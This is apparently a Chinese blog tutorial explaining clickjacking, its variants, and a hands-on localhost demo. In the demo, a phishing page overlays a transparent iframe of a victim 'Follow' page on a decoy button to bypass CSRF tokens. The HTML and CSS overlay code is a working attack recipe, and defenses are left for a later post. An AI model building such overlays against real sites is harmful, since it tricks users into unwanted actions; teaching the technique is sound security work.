什么是点击劫持？实例讲解并教你如何实施一次点击劫持攻击
点击劫持是当初我在面步步高前端的时候面试官问我的一道问题，当时我以为是类似 proxy 之类的前端代理技术实现，但面试官话锋一转，其实这是一个前端安全方面的八股，面试官这个老 6 属实是给我来了一击措手不及
点击劫持
当时对于前端安全方面，我已经是熟读（死记硬背）了 XSS 攻击和 CSRF 攻击，我以为面应届前端安全应该是洒洒水了，但还是棋差一着，这个点击劫持就是 CSRF 后面的一段安全八股（悔恨没背过）
点击劫持（clickjacking）是一种在网页中将恶意代码等隐藏在看似无害的内容（如按钮）之下，并诱使用户点击的手段。 该术语最早由雷米亚·格罗斯曼（Jeremiah Grossman）与罗伯特·汉森（Robert Hansen）于2008年提出。 这种行为又被称为界面伪装（UI redressing）。 - 维基
光看这一段话应该不大能了解啥是点击劫持，因为它看起来像是 XSS + CSRF 攻击的结合（其实和原理上也可以擦一点边），因为这段话里它既有 XSS 攻击标志性的代码注入，又有 CSRF 攻击标志性的第三方钓鱼网站
那么怎么样的攻击手段才能够将两者攻击结合到一起呢？
原理
经典的点击劫持就是通过将被攻击网站（假设为 A），以 iframe 的形式放到钓鱼网站上（假设为 B），并在 B 中设计一处和 A 重叠的部分（A 重叠的部分是一些敏感操纵，比如转账、关注...），之后将 A 设置为透明，并置于顶层，借助 B 的设计诱导用户点击 A，从而达到在 A 上交互实现敏感操作
攻击类型
Click 点击劫持
就是上面讲述的经典点击劫持，目标对象可以是被害网站所有可以被点击的对象
Flash 点击劫持
制作某种游戏诱使用户点击导致的攻击（由于年代过于久远，Flash 已经名存实亡，我没找到相关的例子，也无法理解其中的原理，但是通过前辈的资料，在以前那个群雄四起的前端年代，是存在过这样一种攻击的）
图片覆盖攻击
这个理论上来说应该属于 XSS 攻击（但是它比较符合维基上面的描述），它是通过注入有浮动的样式的恶意 img 标签代码，在被害网站之上覆盖被害网站上一些比较敏感的内容（注意不是钓鱼网站），比如
1. 替换某个广告位去自己的钓鱼网站
2. 替换网站站长的联系电话
3. 替换用户的头像去自己的钓鱼网站
upload_IMG 代指用户上传的图片本应该待的位置
拖拽劫持与数据窃取
通过被害网站具有漏洞的拖拽功能交互行为，拖拽数据至钓鱼网站，实施方式与经典点击劫持一致，通过钓鱼网站的 iframe 实现
不过这个例子太新了，我没找到案例
触屏劫持
又叫做 TapJacking，原理和经典点击劫持一致，不过经典点击劫持，劫持的是点击事件，而触屏劫持，劫持的是 touch 事件
不过这个例子太新了，我没找到案例
实施攻击
图片覆盖攻击和 XSS 实施一致，不过是加了样式，可以参考我这篇文章手把手教你实现 XSS 攻击
而文章的例子展示是经典点击劫持，具体场景为某黑客想要给自己的偶像增加关注度，于是制作钓鱼网站，并将偶像的个人资料关注按钮进行点击劫持，具体操作如下
您可以在线查看源代码
此例子是基于 CSRF 攻击 demo 中的，因为防御 CSRF 攻击用到了 token，而点击劫持恰巧又能绕过 token，它的本质上是利用 iframe 自己发送请求（难怪看了 CSRF 八股后没找着点击劫持的八股，原来在后面！）
网站设计
钓鱼网站设计
<!-- clcikjacking.html -->
<body>
<iframe src="http://localhost:3000/v3/follow.html" style="..."></iframe>
<button>一个无法拒绝点击的按钮</button>
</body>
被害网站设计，Follow 按钮会携带 token 防止 CSRF 攻击
<!-- v3/follow.html -->
<body>
fans: <span class="fansTotal"></span>
<button class="follow" onclick="handleFollowClick()">Follow</button>
</body>
<script>
const fansTotal = document.querySelector(".fansTotal");
const followBtn = document.querySelector(".follow");
const xhr = new XMLHttpRequest();
xhr.open("GET", "http://localhost:3000/user/follow");
xhr.setRequestHeader("Authorization", localStorage.getItem("token"));
xhr.onreadystatechange = () => {
if (xhr.readyState === 4) {
if (xhr.status === 200) {
fansTotal.innerText = xhr.response;
}
}
};
xhr.send();
const handleFollowClick = () => {
const xhr = new XMLHttpRequest();
xhr.open("POST", "http://localhost:3000/user/follow");
xhr.setRequestHeader("Authorization", localStorage.getItem("token"));
xhr.onreadystatechange = () => {
if (xhr.readyState === 4) {
if (xhr.status === 200) {
fansTotal.innerText = xhr.response;
}
}
};
xhr.send();
};
</script>
iframe 样式设计
初期可以让 iframe 不透明，然后慢慢调整样式
调整后，注意，要将 Follow 覆盖在钓鱼网站的按钮上
{
position: absolute;
left: 0;
top: -2.4;
...
}
最后将 iframe 设置为透明，并设置一个足够高的层级
{
...
opacity: 0;
z-index: 10000;
}
发起攻击
点击相应区域即可
无透视版
透视版
注意不要按到 Follow 之外的领域，PS：不知道可不可以修改 iframe 内部的样式来达到和我的按钮大小一致的目的，还没有试验过
对于钓鱼网站来说，iframe 是拿到的 token 的，你要理解为它是一个黑盒攻击而不是类似 CSRF 的分析 API 的白盒攻击
关于防止点击劫持的方法可以关注我看后续！正在加速编写中